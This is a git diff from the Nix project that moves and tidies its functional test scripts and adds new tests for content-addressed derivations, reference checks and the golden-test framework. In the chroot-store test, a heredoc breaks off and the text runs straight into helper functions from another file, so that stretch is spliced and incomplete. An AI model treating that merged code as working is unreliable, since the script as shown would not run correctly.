"dependent-for-build-ca"; + buildCommand = '' + echo "Depends on rootCA for building only" + mkdir -p $out + echo ${rootCA} + touch $out + ''; + }; + dependentForBuildNonCA = mkDerivation { + name = "dependent-for-build-non-ca"; + buildCommand = '' + echo "Depends on rootCA for building only" + mkdir -p $out + echo ${rootCA} + touch $out + ''; + }; dependentFixedOutput = mkDerivation { name = "dependent-fixed-output"; outputHashMode = "recursive"; diff --git a/tests/functional/ca/derivation-json.sh b/tests/functional/ca/derivation-json.sh new file mode 100644 index 000000000..1e2a8fe35 --- /dev/null +++ b/tests/functional/ca/derivation-json.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# +source common.sh + +export NIX_TESTS_CA_BY_DEFAULT=1 + +drvPath=$(nix-instantiate ../simple.nix) + +nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json + +drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json) + +[[ "$drvPath" = "$drvPath2" ]] + +# Content-addressed derivations can be renamed. +jq '.name = "foo"' < "$TEST_HOME"/simple.json > "$TEST_HOME"/foo.json +drvPath3=$(nix derivation add --dry-run < "$TEST_HOME"/foo.json) +# With --dry-run nothing is actually written +[[ ! -e "$drvPath3" ]] + +# But the JSON is rejected without the experimental feature +expectStderr 1 nix derivation add < "$TEST_HOME"/foo.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'ca-derivations' is disabled" + +# Without --dry-run it is actually written +drvPath4=$(nix derivation add < "$TEST_HOME"/foo.json) +[[ "$drvPath4" = "$drvPath3" ]] +[[ -e "$drvPath3" ]] + +# The modified derivation read back as JSON matches +nix derivation show "$drvPath3" | jq .[] > "$TEST_HOME"/foo-read.json +diff "$TEST_HOME"/foo.json "$TEST_HOME"/foo-read.json diff --git a/tests/ca/duplicate-realisation-in-closure.sh b/tests/functional/ca/duplicate-realisation-in-closure.sh similarity index 95% rename from tests/ca/duplicate-realisation-in-closure.sh rename to tests/functional/ca/duplicate-realisation-in-closure.sh index da9cd8fb4..0baf15cc2 100644 --- a/tests/ca/duplicate-realisation-in-closure.sh +++ b/tests/functional/ca/duplicate-realisation-in-closure.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireDaemonNewerThan "2.4pre20210625" @@ -5,7 +7,7 @@ requireDaemonNewerThan "2.4pre20210625" export REMOTE_STORE_DIR="$TEST_ROOT/remote_store" export REMOTE_STORE="file://$REMOTE_STORE_DIR" -rm -rf $REMOTE_STORE_DIR +rm -rf "$REMOTE_STORE_DIR" clearStore # Build dep1 and push that to the binary cache. diff --git a/tests/functional/ca/eval-store.sh b/tests/functional/ca/eval-store.sh new file mode 100644 index 000000000..9cc499606 --- /dev/null +++ b/tests/functional/ca/eval-store.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash + +# Ensure that garbage collection works properly with ca derivations + +source common.sh + +export NIX_TESTS_CA_BY_DEFAULT=1 + +cd .. +source eval-store.sh diff --git a/tests/ca/flake.nix b/tests/functional/ca/flake.nix similarity index 100% rename from tests/ca/flake.nix rename to tests/functional/ca/flake.nix diff --git a/tests/ca/gc.sh b/tests/functional/ca/gc.sh similarity index 100% rename from tests/ca/gc.sh rename to tests/functional/ca/gc.sh diff --git a/tests/ca/import-derivation.sh b/tests/functional/ca/import-derivation.sh similarity index 100% rename from tests/ca/import-derivation.sh rename to tests/functional/ca/import-derivation.sh diff --git a/tests/functional/ca/local.mk b/tests/functional/ca/local.mk new file mode 100644 index 000000000..4f86b268f --- /dev/null +++ b/tests/functional/ca/local.mk @@ -0,0 +1,29 @@ +ca-tests := \ + $(d)/build-with-garbage-path.sh \ + $(d)/build.sh \ + $(d)/build-cache.sh \ + $(d)/concurrent-builds.sh \ + $(d)/derivation-json.sh \ + $(d)/duplicate-realisation-in-closure.sh \ + $(d)/eval-store.sh \ + $(d)/gc.sh \ + $(d)/import-derivation.sh \ + $(d)/new-build-cmd.sh \ + $(d)/nix-copy.sh \ + $(d)/nix-run.sh \ + $(d)/nix-shell.sh \ + $(d)/post-hook.sh \ + $(d)/recursive.sh \ + $(d)/repl.sh \ + $(d)/selfref-gc.sh \ + $(d)/signatures.sh \ + $(d)/substitute.sh \ + $(d)/why-depends.sh + +install-tests-groups += ca + +clean-files += \ + $(d)/config.nix + +test-deps += \ + tests/functional/ca/config.nix diff --git a/tests/functional/ca/meson.build b/tests/functional/ca/meson.build new file mode 100644 index 000000000..f682ab28f --- /dev/null +++ b/tests/functional/ca/meson.build @@ -0,0 +1,33 @@ +configure_file( + input : 'config.nix.in', + output : 'config.nix', + configuration : test_confdata, +) + +suites += { + 'name': 'ca', + 'deps': [], + 'tests': [ + 'build-with-garbage-path.sh', + 'build.sh', + 'build-cache.sh', + 'concurrent-builds.sh', + 'derivation-json.sh', + 'duplicate-realisation-in-closure.sh', + 'eval-store.sh', + 'gc.sh', + 'import-derivation.sh', + 'new-build-cmd.sh', + 'nix-copy.sh', + 'nix-run.sh', + 'nix-shell.sh', + 'post-hook.sh', + 'recursive.sh', + 'repl.sh', + 'selfref-gc.sh', + 'signatures.sh', + 'substitute.sh', + 'why-depends.sh', + ], + 'workdir': meson.current_build_dir(), +} diff --git a/tests/functional/ca/new-build-cmd.sh b/tests/functional/ca/new-build-cmd.sh new file mode 100644 index 000000000..432d4d132 --- /dev/null +++ b/tests/functional/ca/new-build-cmd.sh @@ -0,0 +1,5 @@ +source common.sh + +export NIX_TESTS_CA_BY_DEFAULT=1 +cd .. +source ./build.sh diff --git a/tests/ca/nix-copy.sh b/tests/functional/ca/nix-copy.sh similarity index 85% rename from tests/ca/nix-copy.sh rename to tests/functional/ca/nix-copy.sh index 7a8307a4e..f77b00030 100755 --- a/tests/ca/nix-copy.sh +++ b/tests/functional/ca/nix-copy.sh @@ -15,13 +15,13 @@ testOneCopy () { rm -rf "$REMOTE_STORE_DIR" attrPath="$1" - nix copy --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix + nix copy --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix ensureCorrectlyCopied "$attrPath" # Ensure that we can copy back what we put in the store clearStore - nix copy --from $REMOTE_STORE \ + nix copy --from "$REMOTE_STORE" \ --file ./content-addressed.nix "$attrPath" \ --no-check-sigs } diff --git a/tests/ca/nix-run.sh b/tests/functional/ca/nix-run.sh similarity index 53% rename from tests/ca/nix-run.sh rename to tests/functional/ca/nix-run.sh index 5f46518e8..920950c11 100755 --- a/tests/ca/nix-run.sh +++ b/tests/functional/ca/nix-run.sh @@ -4,4 +4,4 @@ source common.sh FLAKE_PATH=path:$PWD -nix run --no-write-lock-file $FLAKE_PATH#runnable +nix run --no-write-lock-file "$FLAKE_PATH#runnable" diff --git a/tests/ca/nix-shell.sh b/tests/functional/ca/nix-shell.sh similarity index 100% rename from tests/ca/nix-shell.sh rename to tests/functional/ca/nix-shell.sh diff --git a/tests/ca/nondeterministic.nix b/tests/functional/ca/nondeterministic.nix similarity index 100% rename from tests/ca/nondeterministic.nix rename to tests/functional/ca/nondeterministic.nix diff --git a/tests/ca/post-hook.sh b/tests/functional/ca/post-hook.sh similarity index 100% rename from tests/ca/post-hook.sh rename to tests/functional/ca/post-hook.sh diff --git a/tests/ca/racy.nix b/tests/functional/ca/racy.nix similarity index 100% rename from tests/ca/racy.nix rename to tests/functional/ca/racy.nix diff --git a/tests/ca/recursive.sh b/tests/functional/ca/recursive.sh similarity index 98% rename from tests/ca/recursive.sh rename to tests/functional/ca/recursive.sh index 0354d23b4..cd6736b24 100755 --- a/tests/ca/recursive.sh +++ b/tests/functional/ca/recursive.sh @@ -7,5 +7,3 @@ requireDaemonNewerThan "2.4pre20210623" export NIX_TESTS_CA_BY_DEFAULT=1 cd .. source ./recursive.sh - - diff --git a/tests/ca/repl.sh b/tests/functional/ca/repl.sh similarity index 100% rename from tests/ca/repl.sh rename to tests/functional/ca/repl.sh diff --git a/tests/ca/selfref-gc.sh b/tests/functional/ca/selfref-gc.sh similarity index 100% rename from tests/ca/selfref-gc.sh rename to tests/functional/ca/selfref-gc.sh diff --git a/tests/ca/signatures.sh b/tests/functional/ca/signatures.sh similarity index 70% rename from tests/ca/signatures.sh rename to tests/functional/ca/signatures.sh index eb18a4130..f69a205d2 100644 --- a/tests/ca/signatures.sh +++ b/tests/functional/ca/signatures.sh @@ -1,10 +1,12 @@ +#!/usr/bin/env bash + source common.sh clearStore clearCache -nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1 -pk1=$(cat $TEST_ROOT/pk1) +nix-store --generate-binary-cache-key cache1.example.org "$TEST_ROOT/sk1" "$TEST_ROOT/pk1" +pk1=$(cat "$TEST_ROOT/pk1") export REMOTE_STORE_DIR="$TEST_ROOT/remote_store" export REMOTE_STORE="file://$REMOTE_STORE_DIR" @@ -19,16 +21,16 @@ testOneCopy () { rm -rf "$REMOTE_STORE_DIR" attrPath="$1" - nix copy -vvvv --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix \ + nix copy -vvvv --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix \ --secret-key-files "$TEST_ROOT/sk1" --show-trace ensureCorrectlyCopied "$attrPath" # Ensure that we can copy back what we put in the store clearStore - nix copy --from $REMOTE_STORE \ + nix copy --from "$REMOTE_STORE" \ --file ./content-addressed.nix "$attrPath" \ - --trusted-public-keys $pk1 + --trusted-public-keys "$pk1" } for attrPath in rootCA dependentCA transitivelyDependentCA dependentNonCA dependentFixedOutput; do diff --git a/tests/ca/substitute.sh b/tests/functional/ca/substitute.sh similarity index 74% rename from tests/ca/substitute.sh rename to tests/functional/ca/substitute.sh index 819f3fd85..9728470f0 100644 --- a/tests/ca/substitute.sh +++ b/tests/functional/ca/substitute.sh @@ -4,9 +4,10 @@ source common.sh +# shellcheck disable=SC1111 needLocalStore "“--no-require-sigs” can’t be used with the daemon" -rm -rf $TEST_ROOT/binary_cache +rm -rf "$TEST_ROOT/binary_cache" export REMOTE_STORE_DIR=$TEST_ROOT/binary_cache export REMOTE_STORE=file://$REMOTE_STORE_DIR @@ -17,17 +18,23 @@ buildDrvs () { # Populate the remote cache clearStore -nix copy --to $REMOTE_STORE --file ./content-addressed.nix +nix copy --to "$REMOTE_STORE" --file ./content-addressed.nix # Restart the build on an empty store, ensuring that we don't build clearStore -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 transitivelyDependentCA +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 transitivelyDependentCA # Check that the thing we’ve just substituted has its realisation stored nix realisation info --file ./content-addressed.nix transitivelyDependentCA # Check that its dependencies have it too nix realisation info --file ./content-addressed.nix dependentCA # nix realisation info --file ./content-addressed.nix rootCA --outputs out +if isDaemonNewer "2.13"; then + pushToStore="../push-to-store.sh" +else + pushToStore="../push-to-store-old.sh" +fi + # Same thing, but # 1. With non-ca derivations # 2. Erasing the realisations on the remote store @@ -37,7 +44,7 @@ nix realisation info --file ./content-addressed.nix dependentCA # # Regression test for #4725 clearStore -nix build --file ../simple.nix -L --no-link --post-build-hook ../push-to-store.sh +nix build --file ../simple.nix -L --no-link --post-build-hook "$pushToStore" clearStore rm -r "$REMOTE_STORE_DIR/realisations" nix build --file ../simple.nix -L --no-link --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 @@ -52,14 +59,14 @@ if [[ -z "$(ls "$REMOTE_STORE_DIR/realisations")" ]]; then fi # Test the local realisation disk cache -buildDrvs --post-build-hook ../push-to-store.sh +buildDrvs --post-build-hook "$pushToStore" clearStore # Add the realisations of rootCA to the cachecache clearCacheCache export _NIX_FORCE_HTTP=1 -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 # Try rebuilding, but remove the realisations from the remote cache to force # using the cachecache clearStore -rm $REMOTE_STORE_DIR/realisations/* -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 +rm "$REMOTE_STORE_DIR"/realisations/* +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 diff --git a/tests/ca/why-depends.sh b/tests/functional/ca/why-depends.sh similarity index 100% rename from tests/ca/why-depends.sh rename to tests/functional/ca/why-depends.sh diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh new file mode 100755 index 000000000..feddc6583 --- /dev/null +++ b/tests/functional/case-hack.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore + +rm -rf "$TEST_ROOT/case" + +opts=("--option" "use-case-hack" "true") + +# Check whether restoring and dumping a NAR that contains case +# collisions is round-tripping, even on a case-insensitive system. + +nix-store "${opts[@]}" --restore "$TEST_ROOT/case" < case.nar +nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > "$TEST_ROOT/case.nar" +cmp case.nar "$TEST_ROOT/case.nar" +[ "$(nix-hash "${opts[@]}" --type sha256 "$TEST_ROOT/case")" = "$(nix-hash --flat --type sha256 case.nar)" ] + +# Check whether we detect true collisions (e.g. those remaining after +# removal of the suffix). +touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3" +(! nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > /dev/null) diff --git a/tests/case.nar b/tests/functional/case.nar similarity index 100% rename from tests/case.nar rename to tests/functional/case.nar diff --git a/tests/functional/characterisation-test-infra.sh b/tests/functional/characterisation-test-infra.sh new file mode 100755 index 000000000..279454550 --- /dev/null +++ b/tests/functional/characterisation-test-infra.sh @@ -0,0 +1,88 @@ +#!/usr/bin/env bash + +# Test the function for lang.sh +source common.sh + +source characterisation/framework.sh + +# We are testing this, so don't want outside world to affect us. +unset _NIX_TEST_ACCEPT + +# We'll only modify this in subshells so we don't need to reset it. +badDiff=0 + +# matches non-empty +echo Hi! > "$TEST_ROOT/got" +cp "$TEST_ROOT/got" "$TEST_ROOT/expected" +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 0 )) +) + +# matches empty, non-existant file is the same as empty file +echo -n > "$TEST_ROOT/got" +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/does-not-exist" + (( "$badDiff" == 0 )) +) + +# doesn't matches non-empty, non-existant file is the same as empty file +echo Hi! > "$TEST_ROOT/got" +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/does-not-exist" + (( "$badDiff" == 1 )) +) + +# doesn't match, `badDiff` set, file unchanged +echo Hi! > "$TEST_ROOT/got" +echo Bye! > "$TEST_ROOT/expected" +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 1 )) +) +[[ "$(echo Bye! )" == $(< "$TEST_ROOT/expected") ]] + +# _NIX_TEST_ACCEPT=1 matches non-empty +echo Hi! > "$TEST_ROOT/got" +cp "$TEST_ROOT/got" "$TEST_ROOT/expected" +( + _NIX_TEST_ACCEPT=1 diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 0 )) +) + +# _NIX_TEST_ACCEPT doesn't match, `badDiff=1` set, file changed (was previously non-empty) +echo Hi! > "$TEST_ROOT/got" +echo Bye! > "$TEST_ROOT/expected" +( + _NIX_TEST_ACCEPT=1 diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 1 )) +) +[[ "$(echo Hi! )" == $(< "$TEST_ROOT/expected") ]] +# second time succeeds +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 0 )) +) + +# _NIX_TEST_ACCEPT matches empty, non-existant file not created +echo -n > "$TEST_ROOT/got" +( + _NIX_TEST_ACCEPT=1 diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/does-not-exists" + (( "$badDiff" == 0 )) +) +[[ ! -f "$TEST_ROOT/does-not-exist" ]] + +# _NIX_TEST_ACCEPT doesn't match, output empty, file deleted +echo -n > "$TEST_ROOT/got" +echo Bye! > "$TEST_ROOT/expected" +badDiff=0 +( + _NIX_TEST_ACCEPT=1 diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 1 )) +) +[[ ! -f "$TEST_ROOT/expected" ]] +# second time succeeds +( + diffAndAcceptInner test "$TEST_ROOT/got" "$TEST_ROOT/expected" + (( "$badDiff" == 0 )) +) diff --git a/tests/lang/eval-okay-hash.exp b/tests/functional/characterisation/empty similarity index 100% rename from tests/lang/eval-okay-hash.exp rename to tests/functional/characterisation/empty diff --git a/tests/functional/characterisation/framework.sh b/tests/functional/characterisation/framework.sh new file mode 100644 index 000000000..5ca125ab5 --- /dev/null +++ b/tests/functional/characterisation/framework.sh @@ -0,0 +1,77 @@ +# shellcheck shell=bash + +# Golden test support +# +# Test that the output of the given test matches what is expected. If +# `_NIX_TEST_ACCEPT` is non-empty also update the expected output so +# that next time the test succeeds. +function diffAndAcceptInner() { + local -r testName=$1 + local -r got="$2" + local -r expected="$3" + + # Absence of expected file indicates empty output expected. + if test -e "$expected"; then + local -r expectedOrEmpty="$expected" + else + local -r expectedOrEmpty=characterisation/empty + fi + + # Diff so we get a nice message + if ! diff --color=always --unified "$expectedOrEmpty" "$got"; then + echo "FAIL: evaluation result of $testName not as expected" + # shellcheck disable=SC2034 + badDiff=1 + fi + + # Update expected if `_NIX_TEST_ACCEPT` is non-empty. + if test -n "${_NIX_TEST_ACCEPT-}"; then + cp "$got" "$expected" + # Delete empty expected files to avoid bloating the repo with + # empty files. + if ! test -s "$expected"; then + rm "$expected" + fi + fi +} + +function characterisationTestExit() { + # Make sure shellcheck knows all these will be defined by the caller + : "${badDiff?} ${badExitCode?}" + + if test -n "${_NIX_TEST_ACCEPT-}"; then + if (( "$badDiff" )); then + set +x + echo 'Output did mot match, but accepted output as the persisted expected output.' + echo 'That means the next time the tests are run, they should pass.' + set -x + else + set +x + echo 'NOTE: Environment variable _NIX_TEST_ACCEPT is defined,' + echo 'indicating the unexpected output should be accepted as the expected output going forward,' + echo 'but no tests had unexpected output so there was no expected output to update.' + set -x + fi + if (( "$badExitCode" )); then + exit "$badExitCode" + else + skipTest "regenerating golden masters" + fi + else + if (( "$badDiff" )); then + set +x + echo '' + echo 'You can rerun this test with:' + echo '' + echo " _NIX_TEST_ACCEPT=1 make tests/functional/${TEST_NAME}.sh.test" + echo '' + echo 'to regenerate the files containing the expected output,' + echo 'and then view the git diff to decide whether a change is' + echo 'good/intentional or bad/unintentional.' + echo 'If the diff contains arbitrary or impure information,' + echo 'please improve the normalization that the test applies to the output.' + set -x + fi + exit $(( "$badExitCode" + "$badDiff" )) + fi +} diff --git a/tests/check-refs.nix b/tests/functional/check-refs.nix similarity index 87% rename from tests/check-refs.nix rename to tests/functional/check-refs.nix index 9d90b0920..89690e456 100644 --- a/tests/check-refs.nix +++ b/tests/functional/check-refs.nix @@ -2,7 +2,7 @@ with import ./config.nix; rec { - dep = import ./dependencies.nix; + dep = import ./dependencies.nix {}; makeTest = nr: args: mkDerivation ({ name = "check-refs-" + toString nr; @@ -67,4 +67,11 @@ rec { disallowedReferences = [test5]; }; + test11 = makeTest 11 { + __structuredAttrs = true; + unsafeDiscardReferences.out = true; + outputChecks.out.allowedReferences = []; + buildCommand = ''echo ${dep} > "''${outputs[out]}"''; + }; + } diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh new file mode 100755 index 000000000..5c3ac915e --- /dev/null +++ b/tests/functional/check-refs.sh @@ -0,0 +1,62 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore + +RESULT=$TEST_ROOT/result + +dep=$(nix-build -o "$RESULT" check-refs.nix -A dep) + +# test1 references dep, not itself. +test1=$(nix-build -o "$RESULT" check-refs.nix -A test1) +nix-store -q --references "$test1" | grepQuietInverse "$test1" +nix-store -q --references "$test1" | grepQuiet "$dep" + +# test2 references src, not itself nor dep. +test2=$(nix-build -o "$RESULT" check-refs.nix -A test2) +nix-store -q --references "$test2" | grepQuietInverse "$test2" +nix-store -q --references "$test2" | grepQuietInverse "$dep" +nix-store -q --references "$test2" | grepQuiet aux-ref + +# test3 should fail (unallowed ref). +(! nix-build -o "$RESULT" check-refs.nix -A test3) + +# test4 should succeed. +nix-build -o "$RESULT" check-refs.nix -A test4 + +# test5 should succeed. +nix-build -o "$RESULT" check-refs.nix -A test5 + +# test6 should fail (unallowed self-ref). +(! nix-build -o "$RESULT" check-refs.nix -A test6) + +# test7 should succeed (allowed self-ref). +nix-build -o "$RESULT" check-refs.nix -A test7 + +# test8 should fail (toFile depending on derivation output). +(! nix-build -o "$RESULT" check-refs.nix -A test8) + +# test9 should fail (disallowed reference). +(! nix-build -o "$RESULT" check-refs.nix -A test9) + +# test10 should succeed (no disallowed references). +nix-build -o "$RESULT" check-refs.nix -A test10 + +if ! isTestOnNixOS; then + # If we have full control over our store, we can test some more things. + + if isDaemonNewer 2.12pre20230103; then + if ! isDaemonNewer 2.16.0; then + enableFeatures discard-references + restartDaemon + fi + + # test11 should succeed. + test11=$(nix-build -o "$RESULT" check-refs.nix -A test11) + [[ -z $(nix-store -q --references "$test11") ]] + fi + +fi diff --git a/tests/check-reqs.nix b/tests/functional/check-reqs.nix similarity index 100% rename from tests/check-reqs.nix rename to tests/functional/check-reqs.nix diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh new file mode 100755 index 000000000..34eb133db --- /dev/null +++ b/tests/functional/check-reqs.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +RESULT=$TEST_ROOT/result + +nix-build -o "$RESULT" check-reqs.nix -A test1 + +(! nix-build -o "$RESULT" check-reqs.nix -A test2) +(! nix-build -o "$RESULT" check-reqs.nix -A test3) +(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1' +(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2' +(! nix-build -o "$RESULT" check-reqs.nix -A test5) +(! nix-build -o "$RESULT" check-reqs.nix -A test6) + +nix-build -o "$RESULT" check-reqs.nix -A test7 diff --git a/tests/check.nix b/tests/functional/check.nix similarity index 100% rename from tests/check.nix rename to tests/functional/check.nix diff --git a/tests/check.sh b/tests/functional/check.sh old mode 100644 new mode 100755 similarity index 77% rename from tests/check.sh rename to tests/functional/check.sh index e77c0405d..9b15dccb6 --- a/tests/check.sh +++ b/tests/functional/check.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # XXX: This shouldn’t be, but #4813 cause this test to fail @@ -13,11 +15,16 @@ checkBuildTempDirRemoved () # written to build temp directories to verify created by this instance checkBuildId=$(date +%s%N) +TODO_NixOS + clearStore nix-build dependencies.nix --no-out-link nix-build dependencies.nix --no-out-link --check +# Build failure exit codes (100, 104, etc.) are from +# doc/manual/src/command-ref/status-build-failure.md + # check for dangling temporary build directories # only retain if build fails and --keep-failed is specified, or... # ...build is non-deterministic and --check and --keep-failed are both specified @@ -31,13 +38,31 @@ nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ [ "$status" = "100" ] if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi +test_custom_build_dir() { + local customBuildDir="$TEST_ROOT/custom-build-dir" + + # Nix does not create the parent directories, and perhaps it shouldn't try to + # decide the permissions of build-dir. + mkdir "$customBuildDir" + nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ + --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? + [ "$status" = "100" ] + [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] + local buildDir="$customBuildDir/nix-build-"*"" + if [[ -e $buildDir/build ]]; then + buildDir=$buildDir/build + fi + grep $checkBuildId $buildDir/checkBuildId +} +test_custom_build_dir + nix-build check.nix -A deterministic --argstr checkBuildId $checkBuildId \ --no-out-link 2> $TEST_ROOT/log checkBuildTempDirRemoved $TEST_ROOT/log nix-build check.nix -A deterministic --argstr checkBuildId $checkBuildId \ --no-out-link --check --keep-failed 2> $TEST_ROOT/log -if grep -q 'may not be deterministic' $TEST_ROOT/log; then false; fi +if grepQuiet 'may not be deterministic' $TEST_ROOT/log; then false; fi checkBuildTempDirRemoved $TEST_ROOT/log nix-build check.nix -A nondeterministic --argstr checkBuildId $checkBuildId \ @@ -56,6 +81,8 @@ grep 'may not be deterministic' $TEST_ROOT/log [ "$status" = "104" ] if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi +TODO_NixOS + clearStore path=$(nix-build check.nix -A fetchurl --no-out-link) diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh new file mode 100755 index 000000000..03803a2b9 --- /dev/null +++ b/tests/functional/chroot-store.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash + +source common.sh + +echo example > "$TEST_ROOT"/example.txt +mkdir -p "$TEST_ROOT/x" + +export NIX_STORE_DIR=/nix2/store + +CORRECT_PATH=$(cd "$TEST_ROOT" && nix-store --store ./x --add example.txt) + +[[ $CORRECT_PATH =~ ^/nix2/store/.*-example.txt$ ]] + +PATH1=$(cd "$TEST_ROOT" && nix path-info --store ./x "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH1" ] + +PATH2=$(nix path-info --store "$TEST_ROOT/x" "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH2" ] + +PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH3" ] + +# Ensure store info trusted works with local store +nix --store "$TEST_ROOT/x" store info --json | jq -e '.trusted' + +# Test building in a chroot store. +if canUseSandbox; then + + flakeDir=$TEST_ROOT/flake + mkdir -p "$flakeDir" + + cat > "$flakeDir"/flake.nix <&2 + exit 1 +} + +readLink() { + # TODO fix this + # shellcheck disable=SC2012 + ls -l "$1" | sed 's/.*->\ //' +} + +clearProfiles() { + profiles="$HOME/.local/state/nix/profiles" + rm -rf "$profiles" +} + +# Clear the store, but do not fail if we're in an environment where we can't. +# This allows the test to run in a NixOS test environment, where we use the system store. +# See doc/manual/src/contributing/testing.md / Running functional tests on NixOS. +clearStoreIfPossible() { + if isTestOnNixOS; then + echo "clearStoreIfPossible: Not clearing store, because we're on NixOS. Moving on." + else + doClearStore + fi +} + +clearStore() { + if isTestOnNixOS; then + die "clearStore: not supported when testing on NixOS. If not essential, call clearStoreIfPossible. If really needed, add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + doClearStore +} + +doClearStore() { + echo "clearing store..." + chmod -R +w "$NIX_STORE_DIR" + rm -rf "$NIX_STORE_DIR" + mkdir "$NIX_STORE_DIR" + rm -rf "$NIX_STATE_DIR" + mkdir "$NIX_STATE_DIR" + clearProfiles +} + +clearCache() { + rm -rf "${cacheDir?}" +} + +clearCacheCache() { + rm -f "$TEST_HOME/.cache/nix/binary-cache"* +} + +startDaemon() { + if isTestOnNixOS; then + die "startDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + + # Don’t start the daemon twice, as this would just make it loop indefinitely + if [[ "${_NIX_TEST_DAEMON_PID-}" != '' ]]; then + return + fi + # Start the daemon, wait for the socket to appear. + rm -f "$NIX_DAEMON_SOCKET_PATH" + PATH=$DAEMON_PATH nix --extra-experimental-features 'nix-command' daemon & + _NIX_TEST_DAEMON_PID=$! + export _NIX_TEST_DAEMON_PID + for ((i = 0; i < 300; i++)); do + if [[ -S $NIX_DAEMON_SOCKET_PATH ]]; then + DAEMON_STARTED=1 + break; + fi + sleep 0.1 + done + if [[ -z ${DAEMON_STARTED+x} ]]; then + fail "Didn’t manage to start the daemon" + fi + trap "killDaemon" EXIT + # Save for if daemon is killed + NIX_REMOTE_OLD=$NIX_REMOTE + export NIX_REMOTE=daemon +} + +killDaemon() { + if isTestOnNixOS; then + die "killDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + + # Don’t fail trying to stop a non-existant daemon twice + if [[ "${_NIX_TEST_DAEMON_PID-}" == '' ]]; then + return + fi + kill "$_NIX_TEST_DAEMON_PID" + for i in {0..100}; do + kill -0 "$_NIX_TEST_DAEMON_PID" 2> /dev/null || break + sleep 0.1 + done + kill -9 "$_NIX_TEST_DAEMON_PID" 2> /dev/null || true + wait "$_NIX_TEST_DAEMON_PID" || true + rm -f "$NIX_DAEMON_SOCKET_PATH" + # Indicate daemon is stopped + unset _NIX_TEST_DAEMON_PID + # Restore old nix remote + NIX_REMOTE=$NIX_REMOTE_OLD + trap "" EXIT +} + +restartDaemon() { + if isTestOnNixOS; then + die "restartDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + + [[ -z "${_NIX_TEST_DAEMON_PID:-}" ]] && return 0 + + killDaemon + startDaemon +} + +isDaemonNewer () { + [[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0 + local requiredVersion="$1" + local daemonVersion + daemonVersion=$("$NIX_DAEMON_PACKAGE/bin/nix" daemon --version | cut -d' ' -f3) + [[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -ge 0 ]] +} + +skipTest () { + echo "$1, skipping this test..." >&2 + exit 77 +} + +TODO_NixOS() { + if isTestOnNixOS; then + skipTest "This test has not been adapted for NixOS yet" + fi +} + +requireDaemonNewerThan () { + isDaemonNewer "$1" || skipTest "Daemon is too old" +} + +canUseSandbox() { + [[ ${_canUseSandbox-} ]] +} + +requireSandboxSupport () { + canUseSandbox || skipTest "Sandboxing not supported" +} + +requireGit() { + [[ $(type 